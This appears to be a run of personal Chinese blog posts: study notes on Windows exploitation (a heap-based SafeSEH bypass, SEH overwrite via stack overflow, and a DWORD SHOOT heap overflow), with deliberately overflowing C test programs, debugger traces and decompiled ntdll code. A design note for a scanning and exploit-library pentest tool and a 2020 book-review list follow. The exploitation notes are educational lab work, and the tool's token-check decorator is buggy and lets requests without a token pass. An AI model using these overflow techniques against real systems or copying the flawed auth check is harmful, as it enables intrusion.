char shellcode2[] = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak";

void test(char *input)
{
	char buf[200];
	strcpy(buf, input);
    int zero = 0;
    zero = 1 / zero;
}

int main()
{


	char *buf = (char*)malloc(500);
    strcpy(buf, shellcode2);
	test(shellcode2);
	return 0;
}

首先利用shellcode2确定溢出长度,以溢出seh handler

1542202219961

构建shellcode,并执行,期间遇到了一个问题,每次调试中确定的malloc返回的地址,每编译一次可能再次执行会变化一次,所以shellcode确定的地址不一定有用。

1542202960760

所以执行起来也不对

1542203027964

shellcode对应的堆地址设置成为0x00153630,重新编译

1542203674860

试用了3种方式,只有windbg能够复现,别的都不行。但是证明了利用堆确实可以跳过SafeSEH

针对以上这种情况分别在xp sp2xp sp3进行了多次实验,以确定为什么不能成功执行shellcode

最终确定主要的原因是,我利用宿主机器编译的代码,复制到虚拟机执行,如果利用windbg调试,必须两次复制的文件在同一位置,并且测试shellcode也必须使用windbg调试测试。如果直接双击,或者使用别的调试器,都不一定会执行。

分析KiUserExceptionDispatcher(SEH异常机制分析)

上一篇分析的SEH,讲的糊里糊涂的,并且没有ida载入符号,这里趁着分析堆绕过SafeSEH再重新跟一下SEH形成机制。

在遇到异常时,ring3下首先调用的就是KiUserExceptionDispatcher

1542287184938

KiUserExceptionDispatcher中会最先调用_RtlDispatchException@8去处理异常。如果处理不了,再调用 _ZwContinue@8或者调用_RtlRaiseException@4抛出异常。

1542287428258

继续调试,跟进_RtlDispatchException@8,看看它会不会调用堆中的shellcode

1542287896859

第一个函数RtlCallVectoredExceptionHandlers涉及到VEH,这个不太懂,略过。

RtlpGetStackLimits判断一下栈空间地址合不合法。

RtlpGetRegistrationHead得到fs:[0],因为fs:[0]+4就是我们覆盖的exception_handler地址。

之后是对fs的一些判断,其中有一个比较重要的函数

char __stdcall RtlIsValidHandler(unsigned int a1)
{
  int v2; // ebx
  int v3; // esi
  int v4; // edx
  unsigned int v5; // edi
  int v6; // ecx
  unsigned int v7; // eax
  char v8; // [esp+Ch] [ebp-34h]
  int v9; // [esp+10h] [ebp-30h]
  char v10; // [esp+20h] [ebp-20h]
  int v11; // [esp+24h] [ebp-1Ch]
  char v12; // [esp+28h] [ebp-18h]
  int v13; // [esp+2Ch] [ebp-14h]
  int v14; // [esp+30h] [ebp-10h]
  int v15; // [esp+34h] [ebp-Ch]
  int v16; // [esp+38h] [ebp-8h]

  v15 = 0;
  v2 = RtlLookupFunctionTable(a1, (unsigned int *)&v13, (int)&v16);
  v14 = v2;
  if ( v2 && v16 )
  {
    if ( v2 != -1 || v16 != -1 )
    {
      v5 = a1 - v13;
      v4 = 0;
      v3 = v16;
      while ( v3 >= v4 )
      {
        v6 = (v3 + v4) >> 1;
        v7 = *(_DWORD *)(v2 + 4 * v6);
        if ( v5 < v7 )
        {
          if ( !v6 )
            break;
          v3 = v6 - 1;
        }
        else
        {
          if ( v5 <= v7 )
            return 1;
          v4 = v6 + 1;
        }
      }
      RtlInvalidHandlerDetected(a1, v2, v16);
    }
    return 0;
  }
  if ( ZwQueryInformationProcess(-1, 34, (int)&v15, 4, 0) >= 0 && v15 & 0x10
    || NtQueryVirtualMemory(-1, a1, 0, &v8, 28, &v12) < 0 )
  {
    return 1;
  }
  if ( v10 & 0xF0 )
  {
    if ( v11 == 0x1000000 )
    {
      RtlCaptureImageExceptionValues(v9, &v14, &v16);
      if ( v14 )
      {
        if ( v16 )
          return 0;
      }
    }
    return 1;
  }
  RtlInvalidHandlerDetected(a1, -2, -2);
  return 0;
}

其判断了虚拟内存和进程的一些信息是否合法。如果不合法会调用 RtlInvalidHandlerDetected

int __stdcall RtlInvalidHandlerDetected(int a1, int a2, int a3)
{
  int result; // eax
  int v4; // [esp+0h] [ebp-328h]
  int v5; // [esp+4h] [ebp-324h]
  int v6; // [esp+Ch] [ebp-31Ch]
  int v7; // [esp+10h] [ebp-318h]
  int v8; // [esp+14h] [ebp-314h]
  int *v9; // [esp+50h] [ebp-2D8h]
  int *v10; // [esp+54h] [ebp-2D4h]
  int v11; // [esp+58h] [ebp-2D0h]
  char v12; // [esp+5Ch] [ebp-2CCh]

  if ( a2 == -2 && a3 == -2 )
  {
    v11 = 0;
    memset(&v5, 0, 0x4Cu);
    memset(&v12, 0, 0x2C8u);
    v9 = &v4;
    v10 = &v11;
    v5 = 1;
    v7 = 1;
    v4 = -1073741819;
    v6 = a1;
    v8 = 8;
    result = RtlCallKernel32UnhandledExceptionFilter(&v9);
  }
  return result;

如果上述所有的判断均通过,那么就来到了真正的异常处理函数

1542289332601

接着跟

1542289357634

再跟

1542289375572

再跟

1542289400307

最后调用了我们的seh_exception_handler,windbg验证一下

进入_RtlpExecuteHandlerForException@20

1542289621872

执行ExecuteHandler@20

1542289730686

跳转到堆中执行

1542289822447

成功执行

1542290116286

至此,基本跟着流程完成了SEH异常处理的处理流程(其中不涉及内核部分)

SEH执行shellcode的原理

SEH执行shellcode的原理

windbg推导栈溢出导致SEH代码执行

测试代码vc6.0编译,win2000测试

#include "stdafx.h"
#include <string.h>
#include <windows.h>

char shellcode[] = 
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61";

DWORD MyException(void)
{
	printf("There is an exception");
	return 1;
}
void test(char * input)
{
	char str[200];
		
    int zero=0;
	__try
	{
		strcpy(str,input);
	    zero=1/zero;
	}
	__except(MyException())
	{
	}
}
int main()
{
	test(shellcode);
	return 0;
}

正常运行产生异常

0:000> g
Thu Nov  1 03:57:43.910 2018 (GMT-8): (374.80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fb80 ebx=0012ff68 ecx=61616161 edx=77f96dae esi=0012fba8 edi=0012ff79
eip=61616161 esp=0012fae8 ebp=0012fb08 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
61616161 ??              ???
0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012fae4 77f96ba7 0012fba8 0012ff68 0012fbbc 0x61616161
0012fb08 77f96c42 0012fba8 0012ff68 0012fbbc ntdll!ZwSetIoCompletion+0x182
0012fb90 77f9ff6e 0012fba8 0012fbbc 0012fba8 ntdll!ZwSetIoCompletion+0x21d
0012ff78 004010ba 00407030 00401378 00000001 ntdll!KiUserExceptionDispatcher+0xe
0012ff80 00401378 00000001 002f0ba0 002f0bf8 image00400000+0x10ba
0012ffc0 7c581af6 02304b38 0143f6cc 7ffdf000 image00400000+0x1378
0012fff0 00000000 004012c4 00000000 000000c8 KERNEL32!OpenEventA+0x63d

根据调用栈,找到出错函数

1541074103072

分析调试该函数sub_401020

0:000> bp 40107e
0:000> g
Thu Nov  1 04:09:10.129 2018 (GMT-8): Breakpoint 0 hit
eax=00000001 ebx=7ffdf000 ecx=00000000 edx=00000000 esi=00407111 edi=0012ff79
eip=0040107e esp=0012fe88 ebp=0012ff78 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246
image00400000+0x107e:
0040107e f7f9            idiv    eax,ecx
0:000> p
Thu Nov  1 04:09:18.723 2018 (GMT-8): (80.374): Integer divide-by-zero - code c0000094 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=7ffdf000 ecx=00000000 edx=00000000 esi=00407111 edi=0012ff79
eip=0040107e esp=0012fe88 ebp=0012ff78 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010246
image00400000+0x107e:
0040107e f7f9            idiv    eax,ecx
0:000> p
eax=00000001 ebx=7ffdf000 ecx=0012fbbc edx=00000000 esi=00407111 edi=0012ff79
eip=77f9ff64 esp=0012fba0 ebp=0012ff78 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiUserExceptionDispatcher+0x4:
77f9ff64 8b1c24          mov     ebx,dword ptr [esp]  ss:0023:0012fba0=0012fba8

在调用0040107e f7f9 idiv eax,ecx之后产生异常,系统最先调用ntdll!KiUserExceptionDispatcher处理异常,来看该函数对异常做如何处理

1541074439555

继续跟进,在调用sub_77F96BDD`出错

0:000> p
eax=00000001 ebx=0012fba8 ecx=0012fbbc edx=00000000 esi=00407111 edi=0012ff79
eip=77f9ff69 esp=0012fb98 ebp=0012ff78 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiUserExceptionDispatcher+0x9:
77f9ff69 e86f6cffff      call    ntdll!ZwSetIoCompletion+0x1b8 (77f96bdd)
0:000> g
Thu Nov  1 04:15:30.348 2018 (GMT-8): (80.374): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fb80 ebx=0012ff68 ecx=61616161 edx=77f96dae esi=0012fba8 edi=0012ff79
eip=61616161 esp=0012fae8 ebp=0012fb08 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
61616161 ??              ???

重新调试,继续跟进

1541074654977

再次出错

0:000> p
eax=0012fb80 ebx=0012ff68 ecx=0012fb84 edx=00000000 esi=0012fba8 edi=0012ff79
eip=77f96c3d esp=0012fb10 ebp=0012fb90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ZwSetIoCompletion+0x218:
77f96c3d e83affffff      call    ntdll!ZwSetIoCompletion+0x157 (77f96b7c)
0:000> p
Thu Nov  1 04:20:19.410 2018 (GMT-8): (80.374): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fb80 ebx=0012ff68 ecx=61616161 edx=77f96dae esi=0012fba8 edi=0012ff79
eip=61616161 esp=0012fae8 ebp=0012fb08 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
61616161 ??              ???

出错位置

1541074941488

继续跟进,找到最终出错位置

0:000> p
eax=0012fb80 ebx=0012ff68 ecx=61616161 edx=77f96dae esi=0012fba8 edi=0012ff79
eip=77f96ba5 esp=0012faec ebp=0012fb08 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ZwSetIoCompletion+0x180:
77f96ba5 ffd1            call    ecx {61616161}
0:000> p
Thu Nov  1 04:24:39.582 2018 (GMT-8): (80.374): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fb80 ebx=0012ff68 ecx=61616161 edx=77f96dae esi=0012fba8 edi=0012ff79
eip=61616161 esp=0012fae8 ebp=0012fb08 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
61616161 ??              ???

分析该函数

1541075137267

ecx由最后一个参数传入

1541075187528

回溯

1541075223347

产生v2的函数sub_77F96BD6,该函数就是取得fs:0中数据

1541075322004

再次分析最先出错的函数

1541075536433

只要将shellcode或其地址放入这里,造成SEH异常,即可执行shellcode

理论求证

上述过程分析了栈溢出会造成SEH代码执行,现在来分析一下为什么

sub_401020开始时会安装SEH

.text:00401020                 push    ebp
.text:00401021                 mov     ebp, esp
.text:00401023                 push    0FFFFFFFFh
.text:00401025                 push    offset stru_4060B0
.text:0040102A                 push    offset __except_handler3
.text:0040102F                 mov     eax, large fs:0
.text:00401035                 push    eax
.text:00401036                 mov     large fs:0, esp
.text:0040103D                 sub     esp, 0D4h

结构大概是这样的

+----------------------+
|     ret_addre        |
+----------------------+
|        ebp           |
+----------------------+
|    seh something     |
+----------------------+
|    seh something     |
+----------------------+
|   __except_handler   |
+----------------------+
|      old fs:0        |
+----------------------+
|                      | <=== esp(fs:0)
+----------------------+
| local variable stack |
+----------------------+
| local variable stack |
+----------------------+

覆盖箭头位置即可,具体原理看参考

参考

windows 异常处理中的漏洞利用

Windows 系统异常处理机制的研究及应用

0day2

渗透测试系统penework的设计及实现

渗透测试系统penework设计及实现

整体重构以前写的penework,使用flask+vue2前后端分离的方式开发,提高使用效率

涉及技术

前端:

vue2 
vue-router
vuex
element-ui 
webpack3

后端

python
flask
masscan
nscan

前端设计

利用vue2 开发前端,element-ui做前端展示组件,vuex做数据存储交换

后端设计

后端采用mongodb

新建项目时,开启一个masscan扫描,在masscan扫描结束后,利用Nscan得到banner和title

后端api返回数据格式

{
    'code': 2000/3000/4000/5000/
    'message': xxx,
    'data':
}

其中

2000 =>   请求成功
4000 =>   已知错误
5000 =>   {
            5001: token过期
            5002: token非法
          }
6000 =>   未知错误

token 设计

token = jwt.encode({'time': login_time}, token_key, algorithm)

利用一个装饰器进行token检查

def auth_token(func):

    def wrapper(*args, **kwargs):
        token = ''
        if request.headers['token']:
            token  =  request.headers['token']
            decode_token = jwt.decode(token, Config.TOKEN_KEY, algorithm='HS256')
            if (int(time.time()) - decode_token['time']) > Config.EXPIRE_TIME
                return jsonify({'code':5001, 'message': 'Token Expire Time!'})
        return func(*args, **kwargs)

    return wrapper

需要利用任务队列来管理新建项目的创建,当有masscan时,只是录入项目的信息,并更新项目的状态为未开始。但没有项目正在扫描时,开启masscan扫描.为了缓解服务器的压力,每次只是运行固定个数的项目。

任务队列,利用celery,broker使用redis

数据库设计

数据库设计

插件及相关扩展功能

会拥有的功能

  1. masscan和nscan扫描,目前已经完成
  2. 漏洞库扫描,集合各种exp/shellcode,目前exp/shellcode收集中
  3. 子目录/子域名 目前基本已经完成
  4. 爬虫 彻底重构,还没有开始

开发进度

前端 40%左右

后端 30%左右

参考

vuex理解

阅读书单-2020

个人阅读书单,每周尽力保持在十个小时左右的阅读时间,阅读的书籍没有特定的范围,其中可能会涉及到历史、人物传记(个人比较喜欢的两大类)、社会,文学等等,纯粹的网络小说可能会很少看,因为以前看过,主要是文笔太差,措辞不考究,读时可能会很爽,读完回味会味同嚼蜡,没啥营养。

202008

坏小孩

先看的电视剧,感觉小说没有电视剧好看,但是小说更加的黑暗,但是文笔明显没有那种大家的感觉,可能更多的是故事性,而不是文笔吧,可以一读,了解了解社会的黑暗吧

美国陷阱

书籍说的是一名法国阿尔斯通集团的一个高管被美国构陷的故事。从纯个人的角度出发看待国家之间,政治,经济,文化之间的竞争,看这本书之前需要不对灯塔国抱有特别的情感,比如特别迷恋,特别厌恶都不适合,但是在社会中,更多的是这俩类人。这本书因为华为事件,一下子火起来了,但是个人的读后感,感觉一般,可读性不强,但是很适合对美国抱有各种幻想的国人,特别是年轻人去读一读,因为会粉碎很多不必要的幻想。

史蒂夫·乔布斯传

乔布斯是一个从始至终的偏执狂,节食,只吃素食,暴戾,专制的一个人,对待艺术与人文一丝不苟,就像书中说的,他具有超越常人的专注力,像激光一般。他的这些缺点和优点把他塑造成了超越常人的天才,成为了改变世界的那类极少数的人,我是无法做到他这样的,所以很佩服他的专注,就像他一直说的一句话

或许他们是别人眼中的疯子,但他们却是我们眼中的天才。因为只有那些疯狂到以为自己能够改变世界的人,才能真正改变世界。

或许只有疯子才会真正的改变世界。
是一本很不错的书,虽然错综复杂,但是很有意思,值得一读

202007

Facebook诞生记

因为比较喜欢大卫芬奇的《社交网络》,而电影是根据这本书改编,所以才看了书。看完结果就是很失望,书写的很糟糕,远远没有电影有趣。
书籍简单的介绍了从facebook创立之前,到创立之后,到拿到巨额融资整个成长过程,每部分写的给我的感觉都很混乱,2020年目前阅读感最次的书籍,没有之一。
书中隐含指出扎克伯格剽窃了双胞胎兄弟的创意,在公司大了之后稀释联合创始人爱德华多的股份,最后赶走肖恩贝克,整个过程都很杂乱的感觉

不建议阅读

地上有草

书是由多个小故事组成的,比较喜欢前面的几个故事

香魂女
浪进船舱
新市民

暮霭
现代生活
启明星

每个故事感觉文笔都有点像王小波,很抽象,天马行空,每个小故事都蕴含了很多的哲理。
比如比较喜欢的香魂女,最后婆媳关系的和解,互相理解,让儿媳回家,体现了人与人之间互相包容,互相理解的难能可贵。
比如新市民,一对夫妇,从农村来到城市里做生意,男人没有抵住社会中的诱惑,堕落了,找了情人,跟结发妻子离婚了,为了挣快钱,不想着付出,也恰当的批判了,那个时代这种比较普遍的现象。
到后期,作者写的就没有任何规律了,谈酒,谈人生,文字比较生涩,我也就不怎么喜欢了,作为短散文看,只能说还可以

妻妾成群

看的苏童的第一部作品,书中包含了两个故事,一个《妻妾成群》,一个《三盏灯》,小说都是以悲剧结尾。
第一个故事是老谋子《大红灯笼高高挂》的原型,说的是一个大学生颂莲,因为遭遇家庭不幸而被卖给陈家做四姨太的故事。颂莲的命运从她吹灭陈家老头给她买的蛋糕那一刻貌似就已经注定了,从初入陈家的种种不屑,到后来逐渐变成其中的一员,期间狠毒的三姨太和身为戏子的四姨太,都对颂莲产生了很大的影响,三姨太因为跟医生偷情,最后别抓投在了井里,在颂莲原本想要依靠的大少爷飞浦是断背,没法抓住生活希望的她,最后发了疯。
第二个故事,说的是一个傻子的故事,有点像阿来的《成埃落定》,在遭遇了战争的村子,所有的村民都拖家带口的离开了村子,而身为傻子的扁金因为寻找自己心爱的鸭子而留在了村里,在战争前夕他遇到了小碗和她的母亲,小碗因为要在船上点灯而去村长家里换油,碰到了恰巧躲在棺材里的扁金,之后扁金和小碗一起回到小碗和妈妈的住处,一艘小破船,小碗点了灯,告诉了扁金这个灯是为了方便爸爸找回来而点的,点上三盏灯,战争中的爸爸,在战争结束后就会回来找他们。并教会了扁金在遭到枪击时,摇摆布大声喊,就不会被枪击中。而后战争就袭击了村子,到处血流成河,扁金在战争后在死去的士兵身上得到了很多的帽子,鞋子等物资,在去找小碗的路上发现了小碗的爸爸,但是小碗的爸爸在没到小破船之前就已经死了,最后是眼盯着船中死去的母女去世的。到最后扁金因为村民的冷漠,而离开了家乡,去寻找小破船。
两个都是悲剧,颂莲在父亲死后,到最后疯了这一段时间,是痛苦的。扁金因为村民的冷漠,战争的影响,到最后出走,小碗母女最后也没能看到回家的爸爸。
书籍的后半段就是一些作者的想法还有一些访谈,可以大概的看看,里面出现了很多的名著和名家列表,可以作为自己的读书列表,其他没什么意思。
建议阅读,孩子读的话,建议初中至高中之间,之后入社会再读可能会有不一样的想法。

202006

天龙八部

第二本金庸武侠小说,因为6月中间有段时间特别忙,忙完又自己放松下来了,所以利用6月的整个业余时间才读完这本书,花了大概36个小时,书确实特别长。
整体感觉还行,中间一段丁春秋和虚竹刚刚出现的描写,读的特别慢,其他的都还行。
经过了三次修订,感觉很多地方为了迎合读者,强行修订,不太好。最后王语嫣和萧大侠的结局实在是有点接受不了。
看过了书,发现段誉和王语嫣这两个人的人设,真是没有电视剧出彩。感觉金老先生其实最开始的打算应该是把段誉作为主角来写,因为萧大侠的人格魅力太强了,才强行把虚竹拉出来,凑成了3男主的小说。
故事很长,孩子读的话,初中应该可以了

202005

推拿

五月的最后一天看完的,整体还不错。
小说主要描写的是一群在沙宗琪推拿中心的盲人推拿工作者,小说描写了各式各样的盲人,他们和我们健全人一样,有各种各样的境遇,各种各样的苦恼,他们每个人都经历着我们健全人没有经历过的很多苦难。但很多人经历过后就沉沦了,还有一部分就像书中的几位主人翁都坚强的活了下来。
可以摆弄时间的小马,天生具有音乐天赋的都红,任劳任怨,诚实憨厚的王大夫,大大咧咧,一心痴迷于婚礼的金嫣,每个人感觉都被作者写活了,很有意思,最后附上书中最喜欢的一句话
形容女孩的好看

比红烧肉都好看

穆斯林的葬礼

文笔很好,但是明显感觉跟阿来,路遥这类大佬比起来就差了很多。甚至完全没法比。
读起来,故事性还行,但是太过于玛丽苏,没想到88年出版的小说,竟然这么玛丽苏。
书中写的是回族三代人的故事,韩子奇,韩冰玉,韩君壁,包括其父梁玉清,再到小一辈的韩新月,韩天星,整整三代人的故事。不同人物的刻画还算成功,但是三观很多都不认同,故事背景从抗战到**,感觉作者想写那个年代的故事,但是写的又不够深入,只具其形,没有内涵,最后写成了爱情小说。最后把新月写死赚一波眼泪。感觉就是妥妥的韩剧套路。
如果不是很多景色和事物的描写很不错,这类写作技巧也是网文最欠缺的东西,除了这个,故事情节完全可以纳入网文之列。作为初中生读物勉强可以接受,但是得适当引导价值观。
勉强三星半

房思琪的初恋乐园

真的是一部特别特别丧的小说,更丧的就是,这个故事是根据真实故事改编而来。
昨晚读这个小说读到了凌晨一点多,实在是看不下去了,一字一句都有如烧心一般的难受,实在受不了了之后,起来打了接近一个小时游戏,又看了两集动漫,最后困的不行了,才勉强入睡,入睡已经大概凌晨三点半了,早晨睁眼的一瞬间,脑海里全是思琪与伊纹,都是多美好的人啊。翻来覆去睡不着了,决定起床继续读完这本小说。
读完后,心里依然久久不能平复。
小说说的是一个花季少女在十三岁被诱奸和一个文艺女青年被家庭暴力的故事。整个故事太过于黑暗,但却真实。
李国华利用自身的地位,阅历,满嘴文学词藻,去诱奸一个只是十三岁的初中学生房思琪,学生反而怪自己,惩罚自己,最后还畸形的"爱"上了李国华。整个过程,无论是出租车司机,父母家人,哪怕是伊纹,整个社会对于性的压抑和性教育的缺失给了李国华一次又一次的机会,让自己在这条路上越走越远,越走越顺,越来越心安理得。在整个社会的缺失的情况下,思琪一个人在死胡同了走了很久,孤独,寂寞,害怕,最后走不下去,自己疯了。
看完后,其实我对整个社会是深深的失望的,引用书中的一句话

你可以假装世界上没有人以强暴小女孩为乐

但事实存在且高于小说,有时自己反思自己,我作为一个普通人有时又何尝可能不是他们中的一个呢。

最后引用伊纹对怡婷说的话,大家共勉,给生活一点活力,至少是活着的勇气

怡婷,你才十八岁,你有选择,你可以假装世界上没有人以强暴小女孩为乐;假装从没有小女孩被强暴;假装思琪从不存在;假装你从未跟另一个人共享奶嘴、钢琴,从未有另一个人与你有一模一样的胃口和思绪,你可以过一个资产阶级和平安逸的日子;假装世界上没有精神上的癌;假装世界上没有一个地方有铁栏杆,栏杆背后人人精神癌到了末期;你可以假装世界上只有马卡龙、手冲咖啡和进口文具。但是你也可以选择经历所有思琪曾经感受过的痛楚,学习所有她为了抵御这些痛楚付出的努力,从你们出生相处的时光,到你从日记里读来的时光。你要替思琪上大学,念研究所,谈恋爱,结婚,生小孩,也许会被退学,也许会离婚,也许会死胎。但是,思琪连那种最庸俗、呆钝、刻板的人生都没有办法经历。你懂吗?你要经历并牢牢记住她所有的**、思绪、感情、感觉、记忆与幻想,她的爱、讨厌、恐惧、失重、荒芜、柔情和欲望,你要紧紧拥抱着思琪的痛苦,你可以变成思琪,然后,替她活下去,连思琪的份一起好好地活下去。

小说可能有一个唯一的缺点,有很多地方,文艺修饰过度,会使更加易懂的叙述变的晦涩。但是同时也感叹作者小小年纪的处女作就可以有这么深厚的文学功底。真是应了开头李银河老师的那句话,属于老天赏饭的类型。

尘埃落定

阿来的作品,获得过第五届茅盾文学奖。这几天五一放假,基本除了偶尔看累了,玩点游戏,都在读书了,花了大概7个小时左右读完的,读完的感觉就俩字:舒服。这类的小说是网文完全无法比拟的。
这种小说属于跟路遥的平凡的世界一个类型的,优美的文字,清晰的逻辑,无论是对人,还是景的描写,都生动有趣。

这天早晨下了雪,是开春以来的第一场雪。只有春雪才会如此滋润绵密,不至于一下来就被风给刮走了,也只有春雪才会铺展得那么深远,才会把满世界的光芒都汇聚起来。

文中有几处形容丝绸的语句都很优美,比如

来自重叠山口以外的汉地丝绸是些多么容易流淌的东西啊。

再有就是通过对环境的描写来烘托人物的性格和交代历史的背景,真是绝了。
整篇文章是通过第一人称视角,讲述一个藏族土司制度下的一个土司二少爷被人称为傻子,但是又不是傻子的故事。涵盖了丰富的少数民族的风情描写,还有各种各样的人文。
可以和平凡的世界一样列入儿子初中必读书单了。

人类简史:从动物到上帝

还是很不错的一本书的,对于宗教,社会,人文等等都有一定的独特见解,也回答了自己内心很多的疑问。但是也有部分观点不敢十分苟同,特别是书中刻意淡化现在以色列对中东各国所造成的战争灾难,一开始还没注意到,后来发现作者是以色列人,所有问题也就迎刃而解了。所以无论是多好的数,作者一般都会有私人夹带,无可避免。跟金庸美化家族史一个道理

202004

明朝那些事儿

以戏剧的形式详细的讲述了整个明朝的历史,很有意思,第一次看到这么说历史的,值得一读

鹿鼎记

以前基本不会看这类武侠小说,破例看了一次,主要因为陈小春演的电视剧,是我最喜欢的几部电视剧之一。说中的各种评论太恶心了,什么都要三观正,不正就不行,也就一个武侠小说而已。但不得不说,双儿是真的好啊

DWORD SHOOT + SEH的利用(20180415-update)

DWORD SHOOT + SEH 利用

DWORD SHOOT形成分析

首先简要说一下DWORD SHOORT是怎么形成的,在堆的分配和回收的过程中,会发生链表结构的'拆卸'和'安装',如下图,A为链表结构的前向指针,B为链表的后向指针。只要记住一点,发生DWORD SHOOT时,A的内容会写入B,并且构成溢出后会执行B中指针所指向的代码

+-------+          +--------+
|   A   |--------->|    B   |
|       |<---------|        |
+-------+          +--------+        

具体可以通过一个实例来分析

#include <windows.h>
#include <string.h>

// 字符串长度为512
char shellcode[] = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf"; 

DWORD MyExceptionhandler(void)
{
    printf("got an exception, press enter to kill process!\n");
    getchar();
    ExitProcess(1);
}


int main()
{
    HLOCAL h1 = 0, h2 = 0;
    HANDLE hp;
	  __asm int 3
    hp = HeapCreate(0, 0x1000, 0x10000);
    h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 200);
    memcpy(h1, shellcode, 0x200);

    //__asm int 3 
    __try{
        h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
    }
    __except(MyExceptionhandler()){}
	return 0;

堆分配的空间是200,但是复制的字符串最大长度是0x200,所以这里肯定会发生溢出,这次无法直接通过windbg打开来调试,因为堆的分配在调试状态下和正常状态不同。

通过od确定溢出点的长度:

可以发现od会将数据写入地址63616164,可以得到溢出长度为212

再根据理论分析一下为什么是212

首先HeapAlloc分配了长度为200的堆空间,头部固定长度为8个字节,之后是空闲块

+------+----------------------------+------------+---------+---------+--------+
|  头部 |   长度为200的数据            | 剩余空间头部 | 前向指针 | 后向指针 | 空闲空间 |
+------+----------------------------+------------+---------+---------+--------+

在od中查看

黑色部分是分配的堆块及其头部八个字节,后面的部分是空闲堆块。堆块头部占用八个字节用C标示,之后就是前后向指针,也就是画出的A和B

DWORD SHOOT就是会将A中的地址,写入B,并会执行B中的地址所指向的代码

根据上面总结出的规律,会报一个上面那个63616164地址访问错误!

exploit

要想利用SEH成功执行代码的话,根据上面的分析,我们需要首先把B中的地址换成SEH的handler地址,把A换成shellcode的地址,之后在形成DWORD SHOOT过程中,将handler地址指向shellcode地址,之后发生异常成功执行SEH

寻找SEH handler地址

直接运行代码,造成异常,通过od查看 SEH chain

可以发现用户自己就一个handler 00401214, SEH chain最上面的就是该异常相对应的异常处理handler指针,可以发现地址为0012FF2c 

